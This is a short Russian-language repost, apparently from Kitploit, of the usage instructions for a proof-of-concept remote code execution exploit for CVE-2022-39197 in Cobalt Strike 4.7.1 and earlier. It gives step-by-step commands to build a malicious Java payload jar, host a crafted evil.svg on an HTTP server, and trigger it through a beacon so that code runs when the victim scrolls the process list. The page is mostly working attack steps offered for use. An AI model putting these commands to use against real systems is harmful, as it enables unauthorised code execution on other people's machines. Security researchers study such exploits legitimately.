CVE-2022-39197 — Эксплойт proof-of-concept для CVE-2022-39197, обеспечивающий удалённое выполнение кода против CobaltStrike <= 4.7.1 через вредоносный SVG-пейлоад, обслуживаемый по HTTP. | Kitploit

Поделиться

CVE-2022-39197: POC удаленного выполнения кода

Использование

Подготовка пейлоада

Отредактируйте Строку 19, вставив свой пейлоад в EvilJar/src/main/java/Exploit.java
Соберите с помощью jar mvn clean compile assembly:single
Переместите EvilJar-1.0-jar-with-dependencies.jar из EvilJar/target/ в папку serve/
Отредактируйте serve\evil.svg, заменив [attacker]
Запустите сервер с помощью python3 -m http.server 8080

Запуск эксплойта

python3 cve-2022-39197.py beacon.exe http://10.10.10.2:8080/evil.svg

Пейлоад сработает, как только пользователь прокрутит список процессов

POC.JPG?

Ссылки

https://mp.weixin.qq.com/s/Eb0pQ-1ebLSKPUFC7zS6dg — Здесь есть отличный глубокий анализ этой уязвимости https://www.agarri.fr/blog/archives/2012/05/11/svg_files_and_java_code_execution/index.html